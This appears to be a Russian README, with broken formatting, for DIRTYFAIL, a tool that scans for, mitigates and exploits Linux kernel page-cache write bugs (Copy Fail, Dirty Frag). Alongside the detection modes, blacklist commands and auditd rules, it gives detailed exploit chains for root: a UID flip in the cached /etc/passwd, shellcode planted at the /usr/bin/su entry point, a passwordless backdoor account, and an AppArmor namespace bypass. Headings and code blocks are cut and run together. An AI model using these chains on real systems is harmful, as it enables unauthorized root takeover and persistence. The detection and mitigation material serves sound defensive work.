| `--mitigate` | Занести в черный список модули `algif_aead`/`esp4`/`esp6`/`rxrpc`; установить `apparmor_restrict_unprivileged_userns=1`; drop_caches. Побочные эффекты: нарушает работу IPsec, AFS |
| `--cleanup-mitigate` | Удалить файлы modprobe/sysctl, установленные `--mitigate` |
**Общие опции:**
| Флаг | Эффект |
|---|---|
| `--no-shell` | После успешной эксплуатации НЕ выполнять `execve su` — проверить и откатить |
| `--no-revert` | С `--no-shell` также пропустить автоматический откат (используется в демонстрации выхода из контейнера) |
| `--active` | Добавить активные sentinel-STORE проверки к `--scan`/`--check-*` |
| `--json` | (с `--scan`) выводить машиночитаемый вывод |
| `--no-color` | Отключить ANSI цвета |
| `--aa-bypass` | (только DEBUG) принудительно обойти AppArmor unprivileged-userns — эксплойты делают это внутренне, см. §8.5 |
### Примеры обнаружения
Простое сканирование (только предусловия — быстро, ~1с):```sh
./dirtyfail --scan
Активный зонд-сентинель для каждого CVE (~10 с, изменяет только сентинели в /tmp):```sh
./dirtyfail --scan --active
JSON для приема в SIEM/флот:```sh
$ ./dirtyfail --scan --active --json
{
"tool": "dirtyfail",
"version": "0.1.0",
"hostname": "server-01",
"kernel": "6.19.10-300.fc44.x86_64",
"machine": "x86_64",
"active_probes": true,
"results": [
{"cve": "CVE-2026-31431", "name": "copyfail", "status": "vulnerable"},
{"cve": "CVE-2026-43284", "name": "dirtyfrag-esp", "status": "vulnerable"},
{"cve": "CVE-2026-43284-v6", "name": "dirtyfrag-esp6", "status": "vulnerable"},
{"cve": "CVE-2026-43500", "name": "dirtyfrag-rxrpc", "status": "vulnerable"},
{"cve": "CVE-2026-31431-gcm", "name": "copyfail-gcm", "status": "vulnerable"}
],
"summary": "vulnerable"
}
Значения статусов: vulnerable, not_vulnerable, preconds_missing,
test_error. Сводка отражает наихудший из результатов.
./dirtyfail --exploit-copyfail # UID-flip + drop into root via su ./dirtyfail --exploit-su # plant /bin/sh shellcode at /usr/bin/su entry ./dirtyfail --exploit-copyfail --no-shell # plant + verify + auto-revert (CI-safe)
Каждый эксплойт запрашивает `DIRTYFAIL` + (где применимо) `YES_BREAK_SSH` перед любой модификацией page-cache.
### Проверка состояния + очистка```sh
./dirtyfail --list-state # what's currently planted? (side-effect free)
./dirtyfail --cleanup # fadvise(DONTNEED) + drop_caches if root
./dirtyfail --cleanup-backdoor # restore /etc/passwd from .dirtyfail.state
./dirtyfail --cleanup-su # restore /usr/bin/su from .dirtyfail-su.state
Или перейти непосредственно к ядру:```sh sudo sh -c 'echo 3 > /proc/sys/vm/drop_caches'
## 7. Как DIRTYFAIL обнаруживает каждую CVE
### Copy Fail (активный датчик-файл)
Обнаружение фактически запускает примитив против файла-файла в
`/tmp`:
1. Зонд `socket(AF_ALG, SOCK_SEQPACKET, 0)` и `bind` к
`authencesn(hmac(sha256), cbc(aes))`.
2. Создайте файл-файл размером 4 КиБ в `/tmp` и вызовите сбой его первой страницы
в кэш.
3. Запустите полный примитив эксплойта против него: `sendmsg` AAD с
`seqno_lo = "PWND"`, вставьте 32 байта файла-файла в сокет
AF_ALG op, заставьте `recv` выполнить запись scratch.
4. Перечитайте файл-файл и найдите `PWND` в любом месте первой
страницы.
Маркер найден ⇒ уязвимо. Маркер отсутствует, но содержимое страницы отличается ⇒
примитив частично сработал (все еще уязвимо). Страница идентична ⇒
не уязвимо на этом ядре.
### Dirty Frag xfrm-ESP (основано на предусловиях — или активно с `--active`)
По умолчанию `--scan` — только предусловия — мы не входим в пространство имен
пользователя в режиме обнаружения (это повлияло бы на сеть внутри
этого пространства имен). Мы проверяем:
* версия ядра в пределах уязвимого окна
* `esp4` / `esp6` загружены или могут быть загружены автоматически
* создание непривилегированного пространства имен пользователя успешно (проверяется через fork →
дочерний процесс `unshare(CLONE_NEWUSER)`)
* AppArmor `apparmor_userns_caps_blocked()` возвращает false
Все четыре присутствуют ⇒ УЯЗВИМО (предусловия выполнены).
`--scan --active` расширяет это зондом sentinel-STORE: мы создаем
дочерний процесс, который активирует обход AA, входит в новое пространство имен
пользователя/сети, регистрирует SA XFRM и запускает триггер ESP-in-UDP против
файла-файла `/tmp/dirtyfail-esp-probe.XXXXXX`. Родительский процесс перечитывает
файл-файл и ищет байты маркера:
* маркер приземлился → kernel STORE доступен → **УЯЗВИМО**
* страница нетронута → патч ядра активен → **НЕ УЯЗВИМО**
* обход AA отклонен → **PRECOND_FAIL** (смягчено LSM)
Это единственный способ отличить ядро с бэкпортированным патчем
от неисправленного без запуска полного эксплойта UID-flip
против `/etc/passwd`. Тот же шаблон используется для ESP v6, RxRPC
и GCM с `--active`.
### Dirty Frag RxRPC (основано на предусловиях — или активно с `--active`)
Предусловия:
* `rxrpc` в `/proc/modules` или может быть загружен автоматически
* `socket(AF_RXRPC, SOCK_DGRAM, 0)` успешен
Активный зонд (`--active`): создает дочерний процесс через обход AA,
регистрирует ключ сессии rxrpc с произвольным 8-байтовым значением,
отправляет одну подделку CHALLENGE + DATA против файла-файла в `/tmp`,
ищет ЛЮБОЕ изменение байта внутри вставленного 8-байтового окна. Мы
не пытаемся предсказать, что приземлилось — любое изменение
подтверждает, что kernel STORE срабатывает.
### Copy Fail вариант GCM + ESP v6 — та же форма
Активный зонд варианта GCM устанавливает SA транспортного режима с
произвольным IV и запускает `gcm_trigger` против файла-файла в `/tmp`; ЛЮБОЕ
изменение байта в sentinel[0] подтверждает доступность. Зонд ESP v6
также автоматически калибрует `V6_STORE_SHIFT` для каждой сборки ядра (см.
`calibrate_v6_shift` в `src/dirtyfrag_esp6.c`) — разные сборки
`esp6_input` в разных дистрибутивах помещают STORE на немного разные смещения
внутри вставленного региона, и калибровочный зонд обнаруживает точное
смещение до запуска реального эксплойта.
---
## 8. Как DIRTYFAIL эксплуатирует каждую CVE
### Copy Fail эксплойт (`copyfail.c`)
Один 4-байтовый STORE через `algif_aead`:```
[/etc/passwd page cache]
user ──sendmsg(AAD = SPI||"0000")──▶ AF_ALG op
──splice(passwd_fd, 32B)──────▶ AF_ALG op (in-place dst SGL)
──recv()─────────────────────▶ kernel runs authencesn_decrypt
scratch write: "0000" → uid_off
EBADMSG returned to user (we ignore)
user ──open(passwd, RDONLY)─read──▶ "kara:x:0000:1000:..." ◄─ page cache
user ──execlp("su", "kara")──────▶ PAM ✓ on /etc/shadow → setuid(0)
─────► root shell
dirtyfrag_esp.c)То же конечное состояние, что и при Copy Fail, достигаемое через xfrm_input вместо algif_aead:```
[/etc/passwd page cache]
unshare(USER|NET); setup uid_map; ifup lo
NETLINK_XFRM ─NEWSA(seq_hi="0000", encap=ESPINUDP/4500)─▶ kernel
udp_recv bind 127.0.0.1:4500, UDP_ENCAP_ESPINUDP
udp_send connect 127.0.0.1:4500
vmsplice ESP wire header (24B) ─▶ pipe
splice /etc/passwd@uid_off (16B) ─▶ pipe
splice pipe (40B) ─▶ udp_send
udp loopback ─▶ udp_recv (UDP_ENCAP) ─▶ xfrm_input ─▶ esp_input
skb has frags, no frag_list ─▶ goto skip_cow (THE BUG)
crypto_authenc_esn_decrypt:
scratch_write(seq_hi="0000" → page_addr+uid_off) ◄─ 4-byte STORE
AEAD auth fails (EBADMSG) — but the STORE is permanent
page-cache copy of /etc/passwd now reports uid 0 for the user
Then exit the namespace, `execlp("su", user)` from the parent — same
final step as Copy Fail.
### Эксплойт Dirty Frag RxRPC (`dirtyfrag_rxrpc.c` + `fcrypt.c`)```
[/etc/passwd page cache]
user-space brute force of K_A, K_B, K_C such that fcrypt_decrypt(C, K)
produces predicate-satisfying plaintexts for offsets 4, 6, 8
(chained-ciphertext correction across passes)
fork → child enters new userns:
unshare(USER|NET); setup uid_map; ifup lo
socket(AF_RXRPC) — autoload rxrpc.ko
for each (off, K) in [(4,K_A), (6,K_B), (8,K_C)]:
add_key("rxrpc", "df-evil<n>", v1_token{session_key=K})
udp_srv = bind 127.0.0.1:port_S
rxsk = AF_RXRPC + SECURITY_KEY=df-evil<n> + bind :port_C
rxsk → sendmsg(PINGPING) triggers handshake init
udp_srv ← receives kernel's first DATA-0
extract (epoch, cid, callNumber)
udp_srv → forged CHALLENGE → rxsk auto-RESPONSE
primes conn->rxkad.cipher with K
csum_iv = AF_ALG pcbc(fcrypt)(epoch||cid||0||sec_ix, IV=K)
cksum_h = AF_ALG pcbc(fcrypt)(call_id||x, IV=csum_iv)[1] >> 16
vmsplice DATA hdr (28B) → pipe
splice /etc/passwd@off (8B) → pipe
splice pipe (36B) → udp_srv
udp loopback → rxsk
recvmsg → rxrpc_input → rxkad_verify_packet
skb has frags, no frag_list → goto skip_unshare (THE BUG)
skcipher_request_set_crypt(req, sg=page+off, sg=page+off, 8, iv=0)
crypto_skcipher_decrypt: pcbc(fcrypt)
page[off..off+8] = fcrypt_decrypt(C_actual, K) ◄─ 8-byte STORE
child exits, parent verifies /etc/passwd[4..5] == "::"
parent: execlp("su", "-")
PAM common-auth: pam_unix.so nullok → root has empty password
su → setresuid(0,0,0) → exec /bin/bash
─────► root shell
--exploit-su внедрение шеллкода (exploit_su.c)Вторая атакующая цепочка без использования /etc/passwd, смоделированная по образцу эталонного эксплойта V4bel. Вместо редактирования кэша страниц /etc/passwd мы внедряем архитектурно-зависимый шеллкод в точку входа ELF /usr/bin/su в его кэше страниц; в следующий раз, когда кто-то выполнит /usr/bin/su, ядро устанавливает euid=0 из установленного на диске setuid-бита, динамический компоновщик выполняет разрешение, и управление передается нашему шеллкоду → /bin/sh как настоящему root-пользователю в init-ns. Без зависимости от PAM, полностью обходит удаление pam_unix nullok.```
parent (init ns)
│ stat /usr/bin/su; verify setuid+root
│ parse ELF header; resolve e_entry → file offset
│ pread() N bytes at file_offset → /var/tmp/.dirtyfail-su.state
│ for each 4-byte chunk of shellcode:
│ cf_4byte_write("/usr/bin/su", file_offset+i, chunk)
│ pread() back; verify match
│ if --no-shell:
│ plant_shellcode(original) # revert via re-write
│ fadvise(DONTNEED) on a new fd # evict if possible
│ else:
│ execl("/usr/bin/su", "su", NULL) ─►
│ kernel exec /usr/bin/su (setuid root)
│ ld-linux.so resolves
│ jumps to e_entry → our shellcode
│ setuid(0); setgid(0);
│ execve("/bin/sh", argv, NULL)
▼ ────► root shell
Матрица архитектур:
* **x86_64 (56 байт, 14 цепочечных записей по 4 байта)** — протестировано
сквозным образом на Fedora 44 (`uid=0(root) gid=0(root) ...
context=unconfined_u:unconfined_r:unconfined_t`). Шеллкод в
`shellcode_x86_64[]`.
* **aarch64 (80 байт, 20 инструкций)** — вручную закодирован из
справочника ARMv8-A, **никогда не выполнялся на оборудовании**. Скрыт за
`DIRTYFAIL_AARCH64_TRUST_UNTESTED=1`. Исходный код поставляется в
`tools/exploit_su_aarch64.S` для верификации сообществом — соберите
с помощью `aarch64-linux-gnu-as` и подтвердите, что последовательность байт совпадает с
`shellcode_aarch64[]`.
* всё остальное → preconds_fail.
Файл состояния `/var/tmp/.dirtyfail-su.state` сохраняет исходные
байты точки входа, чтобы `--cleanup-su` мог их восстановить. `--list-state`
проверяет этот файл (а также файл бэкдора) без каких-либо изменений.
Если на шаге проверки обнаруживается, что кэш страниц не соответствует внедренному
шеллкоду (ядро пропатчено, AF_ALG в чёрном списке и т.д.), автоматический откат
срабатывает немедленно, и файл состояния удаляется — оператору не нужно
запускать cleanup-su после этого.
---
## 8.5 Архитектура: обход на основе внешнего/внутреннего fork
Все пять режимов эксплуатации используют общую архитектуру для обработки
политики Ubuntu `apparmor_restrict_unprivileged_userns=1` без
захвата пост-эксплуатационного `su` внутри userns, где он не может достичь
реального корня init-пространства имен.
### Проблема
Наивный обход помещает *весь* процесс `dirtyfail` внутрь нового
пользовательского пространства имен через `unshare(CLONE_NEWUSER)`. Этого достаточно для регистрации
SA XFRM и запуска триггеров splice — но это также означает, что последующий
`execlp("su", user)` выполняется внутри userns, где uid 0 отображается через
`uid_map "0 1000 1"` на внешний uid оператора (1000). PAM
`setresuid(0)` затем оказывается в userns-uid-0-mapped-to-1000, что является
**не** реальным корнем init-пространства имен — `cat /etc/shadow` возвращает EACCES,
оболочка фактически не может выполнять привилегированные операции.
### Исправление: внешнее/внутреннее разделение```
parent (dirtyfail, init ns) child (bypass userns)
───────────────────────── ─────────────────────
prompts (DIRTYFAIL / YES_BREAK_SSH)
resolve target (uid_off, K_A/K_B/K_C, ...)
setenv DIRTYFAIL_INNER_MODE=...
setenv DIRTYFAIL_TARGET_USER=...
fork ─────────────────────────────────────► change_onexec("crun")
execv self ─► STAGE-1
execv self ─► STAGE-2
unshare(USER|NET)
uid_map / capset
ifup lo
main() detects INNER_MODE
dispatch <mode>_inner()
register XFRM SA
splice trigger → page cache STORE
_exit(DF_EXPLOIT_OK)
waitpid ◄───────────────────────────────── (child reaped)
read /etc/passwd (page cache is global)
verify modification visible
if do_shell:
execlp("su", user) ← runs IN INIT NS
PAM auth → setresuid(0)
→ REAL init-ns root shell
else:
try_revert_passwd_page_cache
Родитель никогда не входит в пространство имён пользователя. Дочерний процесс выполняет
обход + работу с ядром, модифицирует глобальный кэш страниц (который является общим
для всех пространств имён — единственный «мост», который нам нужен), и завершается.
su родителя затем является обычным вызовом setresuid в начальном пространстве имён.
execv сохраняет окружение, поэтому родитель сохраняет параметры
операции в переменных окружения перед форком. Каждый режим определяет
свои:
После завершения этапа 2 обхода main() проверяет
DIRTYFAIL_INNER_MODE и передаёт управление <mode>_exploit_inner(). Внутренняя
функция выполняет только работу с ядром (без подсказок, без форка, без su) и
завершается с кодом результата. Родитель забирает её через waitpid и
продолжает проверку.
Ранее использовавшаяся двухшаговая последовательность (change_onexec("crun") → change_onexec("chrome"))
вызывала периодические ошибки ENOSPC на Ubuntu 24.04 в нашей цепочке
exec (вероятно, из-за особенностей учёта userns в профиле). Один
шаг в crun достаточен — профиль AppArmor crun содержит
flags=(unconfined) и явное разрешение userns,, поэтому unshare
выполняется успешно и остаётся в таком состоянии.
После успешного завершения этапа 2 устанавливается флаг
g_bypass_done в рамках процесса. Если apparmor_bypass_needed() вызывается
снова в том же процессе, он сразу возвращает false, предотвращая
повторное вооружение кодом после эксплойта и вложение ещё одного слоя userns
(что ранее приводило к исчерпанию лимита вложенности userns как ENOSPC).
--aa-bypass теперь только отладочный флагВ старой архитектуре --aa-bypass вооружал обход в рамках всего процесса
перед диспетчеризацией эксплойта. В новой архитектуре режимы эксплойта
выполняют свой собственный обход на основе форка; флаг больше не нужен
для нормального использования. Он сохранён для отладки механики обхода
в изоляции (например, запуск --scan внутри обходного
userns) с предупреждением, что может нарушить работу su после эксплойта.
a664bf3d; бэкпорты попали в
6.12 / 6.17 / 6.18 стабильные ветки.algif_aead: ```sh
echo 'install algif_aead /bin/false' | sudo tee /etc/modprobe.d/copyfail.conf
sudo rmmod algif_aead 2>/dev/null
⚠ Примечание: это не устраняет Dirty Frag. Путь xfrm-ESP доходит до того же примитива authencesn, минуя algif_aead.
f4c50a4034e6 (слит 07.05.2026). Бэкпорты от дистрибутивов распространяются с 08.05.2026.esp4 и esp6: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-esp.conf <<'EOF'
install esp4 /bin/false
install esp6 /bin/false
EOF
sudo rmmod esp4 esp6 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ Это нарушает работу IPsec / strongSwan / libreswan VPN. 3. Эшелонированная защита: запретить непривилегированные пространства имён пользователей. Ubuntu делает это по умолчанию через AppArmor; на других дистрибутивах: ```sh sudo sysctl -w kernel.unprivileged_userns_clone=0
### Dirty Frag RxRPC (CVE-2026-43500)
1. **Патча в основное ядро еще нет.** Патч исследователя на lkml; не объединен на момент написания (2026-05-08).
2. **Временное решение**: внести `rxrpc` в черный список: ```sh
sudo tee /etc/modprobe.d/dirtyfrag-rxrpc.conf <<'EOF'
install rxrpc /bin/false
EOF
sudo rmmod rxrpc 2>/dev/null
sudo sysctl vm.drop_caches=3
⚠ Это нарушает работу клиентов распределенной файловой системы AFS. Большинству серверов не нужен rxrpc.
sudo sh -c ' cat > /etc/modprobe.d/dirtyfail.conf <<EOF install algif_aead /bin/false install esp4 /bin/false install esp6 /bin/false install rxrpc /bin/false EOF rmmod algif_aead esp4 esp6 rxrpc 2>/dev/null sysctl vm.drop_caches=3 '
### Или используйте `dirtyfail --mitigate`
Тот же набор средств смягчения обёрнут в режим защиты с подтверждением ввода
типа:```sh
sudo ./dirtyfail --mitigate
Это помещает /etc/modprobe.d/dirtyfail-mitigations.conf и
/etc/sysctl.d/99-dirtyfail-mitigations.conf, выгружает четыре
модуля и выполняет drop_caches. Откат осуществляется через sudo ./dirtyfail --cleanup-mitigate. Побочные эффекты: нарушает работу IPsec, клиентов AFS и
любого пользовательского пространства, использующего AF_ALG AEAD. Полное
руководство для системного администратора см. в docs/DEFENDERS.md.
Для постоянного обнаружения независимо от установки патчей:
dirtyfail --scan --active (полный зонд
sentinel-STORE) или dirtyfail --scan --active --json для приёма в
SIEM/парк. Bash-версия tools/dirtyfail-check.sh не имеет зависимостей
сборки.tools/99-dirtyfail.rules — это готовый набор правил
auditd, охватывающий пять путей системных вызовов, используемых цепочкой
эксплойтов (регистрация XFRM netlink, add_key("rxrpc"),
unshare(CLONE_NEWUSER), создание сокета AF_ALG, записи в
/etc/passwd//etc/shadow). Установка: ```sh
sudo install -m 0640 tools/99-dirtyfail.rules /etc/audit/rules.d/
sudo augenrules --load && sudo systemctl restart auditd
tools/dirtyfail-container-escape.sh показывает, что кеш страниц ядра
является общим для пространств имён — полезно для объяснения
влияния на разных арендаторов операторам.DIRTYFAIL — это исследовательский инструмент. Уязвимости, которые он охватывает,
уже публично раскрыты с вооружёнными PoC в открытом доступе
(см. Благодарности) — DIRTYFAIL добавляет покрытие обнаружения,
единую документацию и более мягкий вариант PoC (переключение UID вместо перезаписи ELF
/usr/bin/su).
--exploit-* на системах, которые вам не принадлежат или на которых
у вас нет явного разрешения на тестирование. Изменения кеша страниц
обратимы с помощью drop_caches, но они по-прежнему представляют собой эскалацию привилегий,
пока сохраняются./tmp и использует крипто-API ядра.Эти три функции расширяют DIRTYFAIL техниками, впервые опубликованными
0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo. Перереализованы
в стиле DIRTYFAIL; оригинальные заслуги находятся в NOTICE.md.
Тот же путь xfrm-ESP без копирования (no-COW), что и CVE-2026-43284, но с использованием
rfc4106(gcm(aes)) вместо authencesn(...). Две причины, по которым его стоит
включать наряду с вариантом authencesn:
algif_aead для смягчения
Copy Fail (CVE-2026-31431), всё ещё уязвим — путь GCM
не проходит через algif_aead.Примитив 1-байтовой записи (cfg_1byte_write) делает возможным режим
постоянного бэкдора.
--exploit-backdoor выбирает самую длинную строку /etc/passwd, чья оболочка
находится в {nologin, false, sync}, и перезаписывает её байт за байтом на
dirtyfail::0:0:<pad>:/:/bin/bash (с выравниванием по длине). После установки
su - dirtyfail от любого пользователя даёт root-оболочку — без запроса пароля —
потому что pam_unix.so nullok принимает пустое поле пароля.
Имя пользователя dirtyfail намеренно привязано к этому проекту, чтобы
его было легко обнаружить при любой последующей аудите — защитники, запускающие
grep dirtyfail /etc/passwd (или любые HIDS, делающие то же самое), увидят
строку немедленно. Если вам нужен другой идентификатор для конкретного
задания красной команды, измените NEW_USER и DF_PREFIX в
src/backdoor.c.
Файл на диске не изменён; подстановка живёт только в кеше страниц.
--cleanup-backdoor восстанавливает исходную строку через тот же
примитив.
Ubuntu 24.04+ поставляется с apparmor_restrict_unprivileged_userns=1.
Профиль по умолчанию, применяемый к непривилегированным бинарникам, позволяет unshare(USER)
успешно выполняться, но лишает CAP_NET_ADMIN в новом пространстве имён. Регистрация
SA XFRM тогда молча завершается ошибкой.
Обход: записать "exec crun" в /proc/self/attr/exec и
вызвать execv для переключения в профиль AppArmor crun, который имеет
flags=(unconfined) и явное разрешение userns,. После
exec-вызова unshare(CLONE_NEWUSER | CLONE_NEWNET) успешно выполняется с полными
возможностями внутри нового пространства имён.
DIRTYFAIL обрабатывает это для каждого режима эксплойта через fork: родитель
остаётся в исходном пространстве имён, потомок выполняет обход + работу ядра,
родитель читает глобальный кеш страниц и запускает su для получения root в исходном
пространстве имён. См. §8.5 Архитектура
для полной цепочки. Устаревший флаг --aa-bypass (который включал обход для всего
процесса) сохранён только для отладки.
Оригинальная техника взята из aa-rootns.c от 0xdeadbeefnetwork
(там приписывается Брэду Спенглеру / grsecurity). Реализация DIRTYFAIL:
kernel.apparmor_restrict_unprivileged_userns вместо чтения
/proc/self/attr/current (который всё ещё показывает
"unconfined" на Ubuntu 24.04, даже когда политика ограничивает).crun вместо двухшагового
танца crun → chrome — второй шаг вызывал периодические
ENOSPC на Ubuntu 24.04.g_bypass_done после второго этапа, чтобы повторные проверки
прерывались (предотвращая бесконечные циклы re-exec, которые ранее
исчерпывали лимит вложенности userns).DIRTYFAIL — это оригинальный код, но техники, которые он реализует, были разработаны исследователями ниже. Прочтите их первоисточники перед развёртыванием этого инструмента — они являются каноническими ссылками.
Авторы патчей:
f4c50a4034e6 (Dirty Frag xfrm-ESP) — основан на патче v1 от Hyunwoo Kim,
с объединённым подходом shared-frag от Kuan-Ting Chen.MIT. См. LICENSE.
Откройте issue в этом репозитории или свяжитесь по адресу, указанному в истории коммитов. Для координированного раскрытия связанных проблем свяжитесь напрямую с вышеуказанными исследователями.
| Режим | Переменные окружения |
|---|
esp / esp6 / gcm | DIRTYFAIL_INNER_MODE, DIRTYFAIL_TARGET_USER |
rxrpc | DIRTYFAIL_INNER_MODE=rxrpc, DIRTYFAIL_K_{A,B,C} (hex) — подбор fcrypt выполняется в родителе (привилегии не требуются); ключи передаются дочернему процессу для непосредственных триггеров |
backdoor-install / backdoor-cleanup | DIRTYFAIL_INNER_MODE, DIRTYFAIL_LINE_OFF, VICTIM_LINE, TARGET_LINE |
| Источник | Исследователь | Вклад |
|---|
| https://copy.fail/ | Аноним | Оригинальное раскрытие Copy Fail |
| https://github.com/Smarttfoxx/copyfail | Smarttfoxx | PoC на C (вариант shellcode-в-su) |
| https://github.com/rootsecdev/cve_2026_31431 | rootsecdev | Детектор на Python + PoC переключения UID; эргономика режима DIRTYFAIL --exploit-copyfail следует этому подходу. |
| https://github.com/V4bel/dirtyfrag | Hyunwoo Kim (@v4bel) | Обнаружение Dirty Frag, полная цепочка PoC, патчи ядра |
| https://github.com/0xdeadbeefnetwork/Copy_Fail2-Electric_Boogaloo | 0xdeadbeefnetwork | Эксплойт варианта GCM, PoC IPv6, техника обхода AppArmor userns |
| https://www.bleepingcomputer.com/news/security/new-linux-dirty-frag-zero-day-with-poc-exploit-gives-root-privileges/ | BleepingComputer | Публичные отчёты |